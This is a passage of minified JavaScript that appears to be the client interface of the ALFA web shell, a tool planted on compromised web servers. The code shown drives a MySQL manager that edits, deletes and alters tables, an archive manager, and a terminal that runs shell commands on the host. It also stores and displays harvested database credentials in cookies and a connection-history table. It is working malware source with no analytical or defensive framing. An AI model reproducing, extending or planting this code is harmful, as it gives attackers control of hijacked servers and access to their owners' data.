db_id=\'"+i+"\' onclick=\'alfaMysqlChangePage(this,1);\'><<</span> <span> page: </span> <select tbl_name=\'"+t+"\' db_target=\'"+a+"\' name=\'mysql-q-pages\' db_id=\'"+i+"\' class=\'db-opt-id\' onchange=\'alfaMysqlChangePage(this);\' pages=\'"+e.pages+"\'>";for(var b=1;b<e.pages+1;b++)l+="<option>"+b+"</option>";l+="</select><span> Of "+e.pages+"</span> <span style=\'cursor:pointer;\' db_id=\'"+i+"\' onclick=\'alfaMysqlChangePage(this,2);\'>>></span>"}var y=d.querySelector("#"+i);y.querySelector(".mysql-search-area").innerHTML=n,y.querySelector(".mysql-insert-row").innerHTML=r,y.querySelector(".mysql-edit-row").innerHTML="",y.querySelector(".mysql-structure").innerHTML=o,y.querySelector(".mysql-query-result-header .mysql-query-pager").innerHTML=l,y.querySelector(".mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:i,target:".mysql-query-result-content"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="none",alfaMysqlReportBuilder(i,e)}})}function alfaMysqlAlterTbl(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r=e.getAttribute("col_name"),o={};o.type=i.querySelector(".mysql-structure select[name=sel_"+r+"]").value,o.input=i.querySelector(".mysql-structure input[name=value_"+r+"]").value,alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_alter",db_info:{table:l,column:r,alter:o},post:{alfa2:"alter"}},function(e){var t=d.querySelector("#"+a+" .mysql-structure-qres");t.innerHTML=e,t.style.display="block"})}function alfaMysqlSearch(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r={};i.querySelectorAll(".mysql-search-area input, .mysql-search-area select").forEach(function(e){r.hasOwnProperty(e.name)||(r[e.name]={}),"SELECT"==e.tagName?r[e.name].opt=e.value:r[e.name].value=e.value}),alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_search_query",db_info:{table:l,search:r},post:{alfa2:"search"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaMysqlEditRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=(d.querySelector("#"+i),e.getAttribute("col_key")),r=e.getAttribute("key"),o=e.getAttribute("tbl_name"),n=e.getAttribute("row_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_table_edit_query",db_info:{table:o,col_key:l,key:r},post:{alfa2:t}},function(e){if(0!=e.length)if(e=JSON.parse(e),"edit"==t){var s="<table border=\'1\'><tr style=\'text-align: left;background-color: #305b8e;color:#FFFFFF;\'><th>Column</th><th>Type</th><th>Value</th></tr>";for(var c in e){var u="";switch(e[c].type.tag){case"textarea":u="<textarea name=\'"+e[c].col+"\' rows=\'5\'>"+e[c].value+"</textarea>";break;case"input":u="<input type=\'"+e[c].type.type+"\' name=\'"+e[c].col+"\' value=\'"+e[c].value+"\'>"}s+="<tr><th style=\'text-align: left;\'>"+e[c].col+"</th><td>"+e[c].type.col_type+"</td><td>"+u+"</td></tr>"}s+="</table><div style=\'margin-left:20px;\'><button col_key=\'"+l+"\' key=\'"+r+"\' tbl_name=\'"+o+"\' db_id=\'"+i+"\' db_target=\'"+a+"\' onclick=\'alfaMysqlUpdateRow(this, \\"edit\\");return false;\'>Update</button></div><div class=\'mysql-update-result\'></div>",d.querySelector("#"+i+" .mysql-edit-row").innerHTML=s,alfaMysqlTabCtl({child:6,db_id:i,target:".mysql-edit-row"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="inline-block"}else"delete"==t&&(e.status?d.querySelector("#"+i+" .tbl_row_l"+n).remove():alert(e.error))})}function alfaMysqlTblSelectAll(e){var t=e.getAttribute("db_id");d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\\\[\\\\]]").forEach(function(t){t.checked=e.checked})}function alfaMysqlDeleteAllSelectedrows(e){var t=e.getAttribute("db_id"),a=e.getAttribute("db_target"),i=e.getAttribute("col_key"),l=e.getAttribute("tbl_name"),r=[];if(d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\\\[\\\\]]").forEach(function(e){e.checked&&r.push(e.value)}),0==r.length)return!1;alfaMysqlApi({db_id:t,db_target:a,ajax_id:"mysql_table_delete_all_query",db_info:{table:l,col_key:i,rows:r},post:{alfa2:"delete_all"}},function(e){if(""!=e)if((e=JSON.parse(e)).status){var a=0,i=d.querySelector("#"+t);d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\\\[\\\\]]").forEach(function(e){e.checked&&(a=e.getAttribute("row_id"),i.querySelector(".tbl_row_l"+a).remove())})}else alert(e.error)})}function alfaMysqlUpdateRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=d.querySelector("#"+i),r=".mysql-insert-row",o=".mysql-insert-result",n="mysql_table_insert_query",s="insert",c={table:e.getAttribute("tbl_name")};if("edit"==t){var u=e.getAttribute("col_key"),p=e.getAttribute("key");r=".mysql-edit-row",o=".mysql-update-result",n="mysql_table_update_query",s="update",c.col_key=u,c.key=p}var f={};l.querySelectorAll(r+" input, "+r+" textarea").forEach(function(e){f.hasOwnProperty(e.name)||(f[e.name]={}),f[e.name]=e.value}),c.data=f,alfaMysqlApi({db_id:i,db_target:a,ajax_id:n,db_info:c,post:{alfa2:s}},function(e){if(0!=e.length){e=JSON.parse(e);var t=d.querySelector("#"+i+" "+o);t.style.display="block",e.status?t.innerHTML="Success...":t.innerHTML=e.error}})}function alfaMysqlLoadDataType(e){e=e.toUpperCase();var t=["INT","VARCHAR","TEXT","DATE",{key:"Numeric",vals:["TINYINT","SMALLINT","MEDIUMINT","INT","BIGINT","-","DECIMAL","FLOAT","DOUBLE","REAL","-","BIT","BOOLEAN","SERIAL"]},{key:"Date and time",vals:["DATE","DATETIME","TIMESTAMP","TIME","YEAR"]},{key:"String",vals:["CHAR","VARCHAR","-","TINYTEXT","TEXT","MEDIUMTEXT","LONGTEXT","-","BINARY","VARBINARY","-","TINYBLOB","MEDIUMBLOB","BLOB","LONGBLOB","-","ENUM","SET"]},{key:"Spatial",vals:["GEOMETRY","POINT","LINESTRING","POLYGON","MULTIPOINT","MULTILINESTRING","MULTIPOLYGON","GEOMETRYCOLLECTION"]},{key:"JSON",vals:["JSON"]}],a="",i=!1;for(var l in t)if("object"==typeof t[l]){for(var r in a+=\'<optgroup label="\'+t[l].key+\'">\',t[l].vals)a+="<option"+(t[l].vals[r]!=e||i?"":" selected")+">"+t[l].vals[r]+"</option>",t[l].vals[r]==e&&(i=!0);a+="</optgroup>"}else a+="<option"+(t[l]!=e||i?"":" selected")+">"+t[l]+"</option>",t[l]==e&&(i=!0);return a}function alfaMysqlChangePage(e,t){var a=e.getAttribute("db_id"),i=0;if(void 0!==t){e=d.querySelector("#"+a+" select[name=mysql-q-pages]");var l=parseInt(e.getAttribute("pages"));if(i=parseInt(e.value),1==t?--i:++i,0==i||l<i)return!1;e.value=i}else i=e.value;var r=e.getAttribute("db_target"),o=e.getAttribute("tbl_name");alfaMysqlApi({db_id:a,db_target:r,ajax_id:"mysql_table_change_page",db_info:{table:o,page:i},post:{alfa2:"page"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaRemoveCookie(e){document.cookie=e+"=;Max-Age=0; path=/;"}function alfaLogOut(){alfaRemoveCookie("AlfaUser"),alfaRemoveCookie("AlfaPass"),location.reload()}var alfaAlertBox=function(e,t){this.types={success:{class:"alert-success",icon:"http://solevisible.com/icons/menu/check-mark1.svg"},error:{class:"alert-error",icon:"http://solevisible.com/icons/menu/warning.svg"}},this.show=function(a){if(""===a||null==a)throw\'"msg parameter is empty"\';var i=document.querySelector(e),l=document.createElement("DIV"),r=document.createElement("DIV"),o=document.createElement("DIV"),n=document.createElement("A"),s=document.createElement("div"),c=document.createElement("IMG"),d=this;if(s.style.display="inline-block",s.style.marginRight="10px",r.style.display="inline-block",o.classList.add("alert-content"),o.innerText=a,n.classList.add("alert-close"),n.setAttribute("href","#"),l.classList.add("alert-box"),c.src=this.types[t.type].icon,c.style.width="30px",s.appendChild(c),l.appendChild(s),t.hasOwnProperty("title")){var u=document.createElement("DIV");u.classList.add("alert-content-title"),u.innerText=t.title,r.appendChild(u)}if(r.appendChild(o),l.appendChild(r),t.hideCloseButton&&void 0!==t.hideCloseButton||l.appendChild(n),t.hasOwnProperty("type")&&l.classList.add(this.types[t.type].class),i.appendChild(l),n.addEventListener("click",function(e){e.preventDefault(),d.hide(l)}),!t.persistent)var p=setTimeout(function(){d.hide(l),clearTimeout(p)},t.closeTime)},this.hide=function(e){e.classList.add("hide");var t=setTimeout(function(){e.parentNode.removeChild(e),clearTimeout(t)},500)}};function alfaShowNotification(e,t,a,i,l){void 0===a&&(a="success"),void 0===i&&(i=!1),void 0===l&&(l=1e4);var r={closeTime:l,persistent:i,type:a,hideCloseButton:!1};void 0!==t&&(r.title=t),new alfaAlertBox("#alert-area",r).show(e)}function alfaSyncMenuToOpt(e,t){var a="",i="",l=null;void 0!==t?(a="view_archive",i=e,l=location):(a=e.name,i=e.getAttribute("fname"),l=e),"extract"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=deziper",g("deziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="DeCompressor"):"compress"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=ziper",g("ziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="Compressor"):"view_archive"==a&&(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=archive_manager",g("archive_manager",null,"",c_+"/"+i,""),d.querySelector(".opt-title").innerHTML="Archive Manager")}function doFilterName(e){var t="#filesman_holder_"+alfa_current_fm_id;setTimeout(function(){var a=new RegExp(e.value,"i");d.querySelectorAll(t+" .fmanager-row").forEach(function(e){-1==e.querySelector(".main_name").getAttribute("fname").search(a)?e.style.display="none":e.style.display="table-row"})},100)}function sortBySelectedValue(e,t){setCookie(t,e.options[e.selectedIndex].value,2012),g("FilesMan",c_)}function loadPopUpDatabase(e,t,a){if(console.log(t),$("database_window").style.display="block",void 0===t){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}try{d.querySelector(".sql-tabs .sql-newtab").remove()}catch(e){}var i="id_db_"+getRandom(10);d.querySelector("#database_window .content_options_holder .sql-contents").insertAdjacentHTML("afterbegin",\'<div id="\'+i+\'" class="sql-content sql-active-content">\'+e+"</div>"),d.querySelector("#database_window .content_options_holder .sql-tabs").insertAdjacentHTML("beforeend",\'<div id="tab_\'+i+\'" opt_id="\'+i+\'" class="sql-tabname sql-active-tab" onclick="dbTabController(this);"><span style="font-weight:unset;">New DB Connection</span> <img opt_id="\'+i+\'" onclick="closeDatabase(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div><div class="sql-newtab" onclick="alfa_can_add_opt=true;g(\\\'sql\\\',null,\\\'\\\',\\\'\\\',\\\'\\\');" style="background-color:#800000;"><span style="font-weight:unset;">New Tab +</span></div>\'),$(i).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",i)});try{$(i).querySelector(".getconfig").setAttribute("base_id",i)}catch(e){}return i}$(t).innerHTML=e;var l=$("tab_"+t);null!=l&&((-1==l.classList.value.indexOf("sql-active-tab")||database_window_is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","DB: "+l.innerText)),database_window_is_minimized&&alfaUpdateOptionsBadge("database_window")),void 0!==mysql_cache[t]&&mysql_cache[t].hasOwnProperty("db")&&mysql_cache[t].db.length>0&&"update"!=a&&(d.querySelector("#tab_"+t+">span").innerHTML=mysql_cache[t].db),$(t).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",t)});try{$(t).querySelector(".getconfig").setAttribute("base_id",t)}catch(e){}database_window_is_minimized||(d.body.style.overflow="hidden")}function loadPopUpOpTions(e,t){console.log(e),alfa_before_do_action_id="",$("options_window").style.display="block";var a=$("option_"+e);if(alfa_can_add_opt){alfa_can_add_opt=!1;try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var i="",l=$("menu_opt_"+e).innerHTML;"market"==e?l="Alfa Market":"GetDisFunc"==e&&(l="Disable Functions");try{d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}if(null!=a){var r=a.getAttribute("opt_count");null!=r?(i=parseInt(r)+1,a.setAttribute("opt_count",i)):(i=1,a.setAttribute("opt_count",i))}var o="option_"+e+i;d.querySelector("#options_window .content_options_holder .options_content").insertAdjacentHTML("afterbegin",\'<div id="\'+o+\'" class="options_holder">\'+t+"</div>"),d.querySelector("#options_window .content_options_holder .options_tab").insertAdjacentHTML("beforeend",\'<div opt_id="\'+o+\'" onclick="optionsTabController(this);" title="\'+l+\'" id="tab_\'+o+\'" class="tab_name tab_is_active">\'+l+\' <img opt_id="\'+o+\'" onclick="closeOption(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>\'),$(o).classList.toggle("option_is_active"),d.querySelectorAll("#"+o+" form, #"+o+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var l=t.getAttribute("onsubmit");t.setAttribute("onsubmit",\'alfaBeforeDoAction("\'+e+i+\'");\'+l),t.setAttribute("opt_id",e+i)}else{l=t.getAttribute("onclick");t.setAttribute("onclick",\'alfaBeforeDoAction("\'+e+i+\'");\'+l)}});try{$(o).querySelector(".getconfig").setAttribute("base_id",e+i)}catch(e){}return e+i}a.innerHTML=t;var n=$("tab_option_"+e);null!=n&&((-1==n.classList.value.indexOf("tab_is_active")||options_window_is_minimized)&&(n.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",n.innerText)),options_window_is_minimized&&alfaUpdateOptionsBadge("options_window")),d.querySelectorAll("#option_"+e+" form, #option_"+e+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var i=t.getAttribute("onsubmit");t.setAttribute("onsubmit",\'alfaBeforeDoAction("\'+e+\'");\'+i),t.setAttribute("opt_id",e)}else{i=t.getAttribute("onclick");t.setAttribute("onclick",\'alfaBeforeDoAction("\'+e+\'");\'+i)}});try{a.querySelector(".getconfig").setAttribute("base_id",e)}catch(e){}options_window_is_minimized||(d.body.style.overflow="hidden")}function alfaBeforeDoAction(e){alfa_before_do_action_id=e}function alfaLoaderOnTop(e){$("a_loader").style.display=e,d.body.style.overflow="block"==e?"hidden":"visible"}function alfaAjaxController(e){var t=e.getAttribute("parent");$("loader_"+t).remove(),"filesman_holder"==t.substr(0,15)&&($(t).style.minHeight="0"),_ALFA_AJAX_.hasOwnProperty(t)&&_ALFA_AJAX_[t].abort()}function closeDatabase(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("sql-active-tab"))if((e=d.querySelectorAll(".sql-tabs .sql-tabname")).length>1){e[0].classList.add("sql-active-tab");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("sql-active-content")}else editorClose("database_window");d.querySelector("div[opt_id="+a+"]").remove()}function closeFmTab(e,t){t.stopPropagation();var a=e.getAttribute("fm_id"),i=$("filesman_tab_"+a);if(-1!=i.classList.value.indexOf("filesman-tab-active")&&(e=d.querySelectorAll("#filesman_tabs .filesman_tab")).length>1){e[0].classList.add("filesman-tab-active");var l=e[0].getAttribute("fm_id"),r="filesman_holder_"+l;if(null!=$(r)){$(r).classList.toggle("filesman-active-content");var o=$("filesman_tab_"+l).getAttribute("path");initDir(o),d.mf.c.value=o,alfa_current_fm_id=l}}i.remove(),$("filesman_holder_"+a).remove(),alfaFilesmanTabHideTitle()}function closeOption(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("tab_is_active"))if((e=d.querySelectorAll(".options_tab .tab_name")).length>1){e[0].classList.add("tab_is_active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("option_is_active")}else editorClose("options_window");d.querySelector("div[opt_id="+a+"]").remove()}function historyPanelController(e){"hidden"==e.getAttribute("mode")?(d.querySelector(".editor-explorer").style.display="block",d.querySelector(".editor-modal").style.marginLeft="20%",e.setAttribute("mode","visible"),e.style.left="19%",e.innerHTML="<<"):(d.querySelector(".editor-explorer").style.display="none",d.querySelector(".editor-modal").style.marginLeft="1%",e.setAttribute("mode","hidden"),e.style.left="0%",e.innerHTML=">>")}function closeTerminalContent(e,t){t.stopPropagation();var a=e.getAttribute("term_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("active-terminal-tab"))&&(e=d.querySelectorAll(".terminal-tabs .terminal-tab")).length>1){e[0].classList.add("active-terminal-tab");var i=e[0].getAttribute("term_id");null!=$(i)&&$(i).classList.toggle("active-terminal-content")}d.querySelector("div[term_id="+a+"]").remove()}function closeEditorContent(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("editor-tab-active"))&&(e=d.querySelectorAll(".editor-tabs .editor-tab-name")).length>1){e[0].classList.add("editor-tab-active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("editor-content-active")}d.querySelector("div[opt_id="+a+"]").remove()}function optionsTabController(e){try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("option_is_active");try{d.querySelector("#options_window .content_options_holder .options_tab \\t.tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("tab_is_active"),d.querySelector(".opt-title").innerHTML=e.getAttribute("title"),alfaUpdateOptionsBadge("options_window")}function terminalTabController(e){try{d.querySelector(".terminal-tab.active-terminal-tab").classList.remove("active-terminal-tab")}catch(e){}try{d.querySelector(".terminal-content.active-terminal-content").classList.remove("active-terminal-content")}catch(e){}var t=e.getAttribute("term_id");if(null==t)return!1;$(t).classList.toggle("active-terminal-content"),e.classList.remove("tab-is-done"),e.classList.add("active-terminal-tab"),$(t).querySelector(".php-terminal-input").focus(),alfaUpdateOptionsBadge("cgiloader")}function filesmanTabController(e){try{d.querySelector(".ajaxarea.filesman-active-content").classList.remove("filesman-active-content")}catch(e){}try{d.querySelector(".filesman_tab.filesman-tab-active").classList.remove("filesman-tab-active")}catch(e){}var t=e.getAttribute("fm_id");if(null==t)return!1;alfa_current_fm_id=t,e.classList.add("filesman-tab-active"),e.classList.remove("tab-is-done"),$("filesman_holder_"+t).classList.toggle("filesman-active-content");var a=e.getAttribute("path");initDir(a),d.mf.c.value=a}function dbTabController(e){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("sql-active-content"),e.classList.remove("tab-is-done"),e.classList.add("sql-active-tab"),alfaUpdateOptionsBadge("database_window")}function editorTabController(e,t){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}var a=null;void 0===t?a=e.getAttribute("opt_id"):(a=e,e=$("tab_"+a));var i=editor_files["file_"+a.replace("editor_source_","")];if(void 0!==i&&(d.querySelector(".editor-path").innerHTML=(i.pwd+"/"+i.file).replace(/\\/\\//g,"/")),null==a)return!1;$(a).classList.toggle("editor-content-active");try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("editor-tab-active"),alfaUpdateOptionsBadge("editor")}function alfaUpdateOptionsBadge(e){var t=d.querySelector("#"+e+"-minimized .options_min_badge");if(null!=t){var a=d.querySelectorAll("#"+e+" .tab-is-done").length;t.innerHTML=a,t.style.visibility=a>0?"visible":"hidden"}}function alfaOpenPhpTerminal(e){if(php_temrinal_using_cgi&&void 0===e)showEditor("cgiloader");else{$("cgiloader").style.display="block",$("cgiloader").style.background="rgba(0, 0, 0, 0.57)",$("cgiframe").style.background="rgba(0, 0, 0, 0.81)",$("cgiframe").style.border="1px solid rgb(30, 86, 115)",$("cgiframe").style.height="90%",$("cgiframe").style.padding="3px",d.querySelector("#cgiloader .opt-title").innerHTML="Terminal";var t="",a="",i="terminal_id_"+getRandom(10);void 0===e&&(t=" active-terminal-content",a=" active-terminal-tab"),d.querySelector("#cgiframe .terminal-contents").insertAdjacentHTML("afterbegin",\'<div id="\'+i+\'" class="terminal-content\'+t+\'"><div class="php-terminal-output"><div><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\\\'\'+i+\'\\\',1);">+</button><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\\\'\'+i+"\',0);\\">-</button><input onchange=\\"alfaTerminalChangecolor(this,\'"+i+\'\\\');" style="height: 18px;background: #dde2e2;" type="color"></div><pre class="ml1" style="border:unset;height: 90%;"></pre></div><div><form term_id="\'+i+\'" onSubmit="alfaExecTerminal(this);this.c.value=\\\'\\\';return false;" autocomplete="off" style="margin-top: 10px;"><div style="overflow: auto;white-space: nowrap;"><div style="display: inline-block;color:#4fbec3;margin-bottom:5px;margin-right:5px;">CWD:~# </div><div style="display: inline-block;color:#42ec42;" class="php-terminal-current-dir"></div></div><div style="position:relative;"><span style="color: #00ff08;font-size: 25px;">$ </span><input style="padding: 8px;font-size: 20px;width: 67%;border: 1px solid #27979B;padding-right:35px;" onkeyup="alfaWalkInTerminalHistory(this,event,\\\'\'+i+\'\\\');" term_id="\'+i+\'" class="php-terminal-input" type="text" name="c" onfocus="closeHistoryCmd(\\\'free\\\',this);" placeholder="ls -la"><button class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;">ExeCute<button term_id="\'+i+\'" class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;" onClick="alfaExecTerminal(this, 1);return false;">Current Dir</button><div class="cmd-history-holder"><div class="commands-history-header">History</div><span onClick="clearTerminalHistory();" style="border-bottom: 1px solid;margin-bottom: 5px;display: inline-block;padding: 5px;color: #59de69;cursor: pointer;">Clear history</span><div style="overflow: auto;height: 82%;" class="commands-history"></div></div><div term_id="\'+i+\'" class="cmd-history-icon" mode="" onclick="closeHistoryCmd(this);"><img style="width:27px;" src="http://solevisible.com/icons/menu/time2.svg"></div></form></div></div></div>\');try{$("terminal_new_tab").remove()}catch(e){}d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",\'<div onclick="terminalTabController(this);" term_id="\'+i+\'" id="tab_\'+i+\'" class="terminal-tab\'+a+\'">Terminal <img term_id="\'+i+\'" onclick="closeTerminalContent(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>\'),d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",\'<div onclick="alfaOpenPhpTerminal(true);" id="terminal_new_tab" style="background-color:#800000;" class="terminal-tab">New Tab +</div>\'),terminal_walk_index[i]={index:0,key:-1},d.querySelector("#"+i+" .php-terminal-input").focus(),d.querySelector("#"+i+" .php-terminal-current-dir").innerHTML=c_,d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Terminal",alfaTerminalSetColorAndSize(i),php_temrinal_using_cgi=!0;var l=alfaGetTerminalHistory();for(var r in l)d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\\"d.querySelector(\'#"+i+\' .php-terminal-input\\\').value = this.innerHTML;" class="history-cmd-line">\'+l[r]+"</div>")}d.body.style.overflow="hidden"}function alfaTerminalSetColorAndSize(e){var t=getCookie("alfa-terminal-color"),a=getCookie("alfa-terminal-fontsize");void 0!==t&&(d.querySelector("#"+e+" pre.ml1").style.color=t),void 0!==a&&(d.querySelector("#"+e+" pre.ml1").style.fontSize=a)}function alfaTerminalChangecolor(e,t){d.querySelector("#"+t+" pre.ml1").style.color=e.value,setCookie("alfa-terminal-color",e.value,2012)}function alfaGetTerminalHistory(e){var t=getCookie("alfa-terminal-history");try{t=atob(t),t=JSON.parse(t)}catch(e){t=[]}return void 0!==e&&t.reverse(),t}function changeTerminalFontSize(e,t){var a=d.querySelector("#"+e+" pre.ml1"),i=parseInt(window.getComputedStyle(a,null).getPropertyValue("font-size")),l="";1==t?(l=i+1+"px",a.style.fontSize=l):(l=i-1+"px",a.style.fontSize=l),setCookie("alfa-terminal-fontsize",l,2012)}function alfaWalkInTerminalHistory(e,t,a){var i=t||window.event;if("38"==i.keyCode||"40"==i.keyCode||"37"==i.keyCode||"39"==i.keyCode)switch(i.keyCode){case 38:var l=alfaGetTerminalHistory(!0),r="";0==terminal_walk_index[a].index?(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,void 0!==(r=l[terminal_walk_index[a].index])?(e.value=r,++terminal_walk_index[a].index):(e.value="",terminal_walk_index[a].index=0)):terminal_walk_index[a].index<l.length&&(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,e.value=l[terminal_walk_index[a].index],++terminal_walk_index[a].index),terminal_walk_index[a].key=1;break;case 40:l=alfaGetTerminalHistory(!0);if(terminal_walk_index[a].index>=0)0!=terminal_walk_index[a].index&&(--terminal_walk_index[a].index,1==terminal_walk_index[a].key&&--terminal_walk_index[a].index),void 0!==(r=l[terminal_walk_index[a].index])?e.value=r:(e.value="",terminal_walk_index[a].index=0);terminal_walk_index[a].key=0;break;default:console.log(i.keyCode)}else terminal_walk_index[a].index=0}function clearTerminalHistory(){d.querySelectorAll(".commands-history").forEach(function(e){e.innerHTML=""}),setCookie("alfa-terminal-history","",2012)}function alfaAceToFullscreen(e){var t=e.getAttribute("ace_id");alfa_ace_editors.editor[t].container.requestFullscreen()}function closeHistoryCmd(e,t){if("free"==e){var a=t.getAttribute("term_id");return e=d.querySelector("#"+a+" .cmd-history-icon"),d.querySelector("#"+a+" .cmd-history-holder").style.visibility="hidden",d.querySelector("#"+a+" .cmd-history-holder").style.opacity="0",e.setAttribute("mode","off"),!1}var i=e.getAttribute("mode"),l=(a=e.getAttribute("term_id"),d.querySelector("#"+a+" .cmd-history-holder"));0==i.length||"off"==i?(l.style.visibility="visible",l.style.opacity="1",e.setAttribute("mode","on")):(l.style.visibility="hidden",l.style.opacity="0",e.setAttribute("mode","off"))}function geEvalAceValue(e){var t=e.querySelector(".php-evals-ace").getAttribute("id");return alfa_ace_editors.eval[t].getValue()}function alfaOpenArchive(e){var t=e.getAttribute("path"),a=e.getAttribute("fname"),i=e.getAttribute("base_id");if(".."==a&&"phar://"!=t.substr(0,7))return!1;var l="a="+alfab64("open_archive_dir")+"&c="+alfab64(c_)+"&alfa1="+alfab64(t)+"&alfa2="+alfab64(i)+"&ajax="+alfab64("true");_Ajax(d.URL,l,function(e){if("0"!=e){$("archive_base_"+i).innerHTML=e;var a=$("archive_dir_"+i).getAttribute("archive_name"),l=$("archive_dir_"+i).getAttribute("archive_full"),r="",o="";if(0!=(t=t.split(a)[1]).length){var n=(t=t.split("/")).length-1;for(var s in 0==t[n].length&&t.splice(n,1),t)0!=t.length&&(o+=t[s]+"/",r+=\'<a base_id="\'+i+\'" fname="\'+t[s]+\'" path="\'+l+o+\'" onclick="alfaOpenArchive(this);">\'+t[s]+"/</a>")}d.querySelector("#archive_dir_"+i+" .archive_pwd_holder").innerHTML=r}},!1,"open_archive_dir")}function alfaDeleteConnectToDb(e){d.querySelectorAll(".dbh_"+e).forEach(function(e){e.remove()}),alfaConnectionHistoryUpdate(e)}function alfaConnectToDb(e,t){var a={};try{a=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}var i=d.querySelector("#"+t+" div.sf");i.querySelector("input[name=sql_host]").value=a[e].host,i.querySelector("input[name=sql_login]").value=a[e].user,i.querySelector("input[name=sql_pass]").value=a[e].pass,(i.querySelector("input[name=sql_base]")?i.querySelector("input[name=sql_base]"):i.querySelector("select[name=sql_base]")).value=a[e].db,i.querySelector("input[name=sql_count]").checked=!0,d.querySelector("#"+t+" div.sf .db-connect-btn").click()}function alfaShowConnectionHistory(e){var t={},a=e.getAttribute("db_id"),i=e.getAttribute("mode");if(rows=\'<table class="connection-hist-table"><tr><th>*</th><th>Host</th><th>User</th><th>Pass</th><th>Database</th><th>Connect</th><th>Delete</th></tr>\',"on"==i){e.setAttribute("mode","off");try{t=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}var l,r=1;for(l in t){var o=t[l].user+"_"+t[l].db;rows+=\'<tr class="dbh_\'+o+\'"><th>\'+r+"</th><th>"+t[l].host+"</th><th>"+t[l].user+"</th><th>"+t[l].pass+"</th><th>"+t[l].db+\'</th><th><button style="margin: unset;" class="connection-his-btn" onclick=\\\'alfaConnectToDb("\'+o+\'","\'+a+\'");\\\'>Connect</button></th><th style="text-align: center;"><button style="margin: unset;" class="connection-his-btn connection-delete" onclick=\\\'alfaDeleteConnectToDb("\'+o+"\\");\'>X</button></th></tr>",r++}rows+="</table"}else 